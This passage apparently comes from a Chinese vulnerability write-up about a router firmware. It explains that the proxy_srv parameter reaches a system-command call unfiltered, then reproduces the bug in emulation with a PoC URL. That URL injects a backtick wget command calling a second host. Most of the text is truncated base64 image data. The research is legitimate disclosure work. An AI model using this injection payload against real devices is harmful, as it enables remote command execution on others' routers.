src="data:image/png;base64,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
<a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708210639-ea0f98c4-3d2a-1.png><img src=data:image/png;base64,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
<a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708210652-f1a09336-3d2a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABgcAAAP5CAYAAAAyl/9kAAEAAElEQVR4nOzdd3Rc1bn38e9UadR7lywXufdecDfGxqbXEAglJCSEhFxyb/ImucnNvbk3vUAKgQQCCSWA6RgbMC644N6brGL13kbSaHp5/7DcZWPJtgz491nLa0ln9tl7nzMz8lr7Oft5DCNGjA4hIiIiIiIiIiIiIiKXDeOlnoCIiIiIiIiIiIiIiPQuBQdERERERERERERERC4z5hN/iY+PZ+zYMSQnJ2EwGC7VnERERERERERERERE5CI6KTgwffo0jEYDDQ31Cg6IiIiIiIiIiIiIiHxOnRQc6NevH8uXL2PLli2Xaj4iIiIiIiIiIiIiInKRnVRzwGg0aseAiIiIiIiIiIiIiMjnnAoSi4iIiIiIiIiIiIhcZnohOBDLhFu+y7NLV7FqyRIevWsu8baLP6qIiIiIiIiIiIiIiHStF4IDftrqStm/azv7nX6G3f0Dfnh1wsUfVkREREREREREREREutQLwYEODq19hV//53/wX79/ngPNXgYPG3PxhxURERERERERERERkS71as2B5l172d7g680hRURERERERERERETkFCpILCIiIiIiIiIiIiJymbkkwQHzyPnMGZl+KYYWEREREREREREREbns9XJwoJKXH3+bvZ5x/PvP/8pLj/+UG8cl9u4UREREREREREREREQuc70cHAgSCFQCYAiFMBoNYOjdGYiIiIiIiIiIiIiIXO7MvTuclbm3f40R1m38+iv/j5U1vTu6iIiIiIiIiIiIiIj0+s6BNFKTjfj3rlBgQERERERERERERETkErkkBYlFREREREREREREROTSUXBAREREREREREREROQy08vBgUSSExWPEBERERERERERERG5lHpxpT6Z0VcuZkpMWO8NKSIiIiIiIiIiIiIipzFf/CFimXDzV/n63QvoE2HAYKjmuX+tuvjDioiIiIiIiIiIiIhIl3ohOBDE42ylqb6WsI4mPnj7Cf5RGLr4w4qIiIiIiIiIiIiISJd6ITjQzp5lf+U/lv314g8lIt0SMloIhsX38qABTO6m3h1TRERERERERERETtILwQER+bQKWmNxp03v1TENATcR5e/26pgiIiIiIiIiIiJysl4sSCwiIiIiIiIiIiIiIp8GvRocSBxwC9+56cfcN3lE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
分析该函数为v14 = httpd_get_parm(a1, "proxy_srv");从HTTP请求中获取proxy_srv参数的值并将其存储在变量v14中。 nvram_set("proxy_srv", v14);如果proxy_srv参数的值与当前NVRAM中的默认值不同则更新NVRAM中的proxy_srv设置。在函数的后续部分proxy_srv变量被用作snprintf函数的参数之一用于构造一个名为proxy_client的系统命令。这个命令未过滤将传递给jhl_system()函数以执行。</p>
<h2 id=toc-3>漏洞复现</h2>
<p>这里笔者通过使用FirmAE或者qume进行仿真模拟一个环境路由进行复现<br>
<a href="http://192.168.0.1/proxy_client.asp?proxy_srv=111`wget%20http%3a%2f%2f192.168.0.2%3a9999%2f11`&amp;proxy_srvport=2&amp;proxy_srvport=1&amp;proxy_lanip=127.0.0.1&amp;proxy_lanport=8080&amp;proxy_en=1" target=_blank>http://192.168.0.1/proxy_client.asp?proxy_srv=111`wget%20http%3a%2f%2f192.168.0.2%3a9999%2f11`&amp;proxy_srvport=2&amp;proxy_srvport=1&amp;proxy_lanip=127.0.0.1&amp;proxy_lanport=8080&amp;proxy_en=1</a><br>
使用一个能通仿真环境的系统起一个python脚本的web服务使用以上poc进行测试发现该poc进行测试时该web服务确实被访问<br>
<a id=img16 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708211356-ee69ca88-3d2b-1.png><img src=data:image/png;base64,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